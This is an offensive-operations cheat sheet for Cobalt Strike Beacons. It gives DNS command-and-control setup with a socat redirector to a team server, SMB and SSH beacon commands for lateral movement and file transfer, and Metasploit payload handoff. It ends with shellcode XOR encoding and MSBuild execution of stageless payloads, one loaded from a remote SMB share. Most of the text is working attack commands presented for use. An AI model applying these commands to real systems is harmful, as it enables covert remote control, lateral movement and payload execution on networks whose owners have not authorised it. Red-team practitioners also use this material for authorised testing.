Cobalt Strike - Beacons
contents
DNS Beacon#
DNS Configuration#
- Edit the
Zone Filefor the domain - Create an
A recordfor Cobalt Strike system - Create an
NS recordthat points to FQDN of your Cobalt Strike system
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server’s A record.
Example of DNS on Digital Ocean:
NS example.com directs to 10.10.10.10. 86400NS polling.campaigns.example.com directs to campaigns.example.com. 3600A campaigns.example.com directs to 10.10.10.10 3600 After creating a DNS listener (Beacon DNS), verify that your domains resolve to 0.0.0.0
nslookup jibberish.beacon polling.campaigns.domain.comnslookup jibberish.beacon campaigns.domain.com
If you have trouble with DNS, you can restart the systemd service and force Google DNS nameservers.
systemctl disable systemd-resolvedsystemctl stop systemd-resolvedrm /etc/resolv.confecho "nameserver 8.8.8.8" > /etc/resolv.confecho "nameserver 8.8.4.4" >> /etc/resolv.confDNS Redirector#
socat -T 1 udp4-listen:53,fork udp4:teamserver.example.net:53Debug the DNS queries with tcpdump -l -n -s 5655 -i eth0 udp port 53.
DNS Mode#
| Mode | Description |
|---|---|
mode dns-txt | DNS TXT record data channel (default) |
mode dns | DNS A record data channel |
mode dns6 | DNS AAAA record channel |
SMB Beacon#
link [host] [pipename]connect [host] [port]unlink [host] [PID]jump [exec] [host] [pipe]SMB Beacon uses Named Pipes. You might encounter these error code while running it.
| Error Code | Meaning | Description |
|---|---|---|
| 2 | File Not Found | There is no beacon for you to link to |
| 5 | Access is denied | Invalid credentials or you don’t have permission |
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
SSH Beacon#
# deploy a beaconbeacon> help sshUse: ssh [target:port] [user] [pass]Spawn an SSH client and attempt to login to the specified targetbeacon> help ssh-keyUse: ssh [target:port] [user] [/path/to/key.pem]Spawn an SSH client and attempt to login to the specified target# beacon's commandsupload Upload a filedownload Download a filesocks Start SOCKS4a server to relay trafficsudo Run a command via sudorportfwd Setup a reverse port forwardshell Execute a command via the shellMetasploit compatibility#
- Payload:
windows/meterpreter/reverse_http or windows/meterpreter/reverse_https - Set
LHOSTandLPORTto the beacon - Set
DisablePayloadHandlertoTrue - Set
PrependMigratetoTrue exploit -j
Custom Payloads#
* Attacks > Packages > Payload Generator * Attacks > Packages > Scripted Web Delivery (S)$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml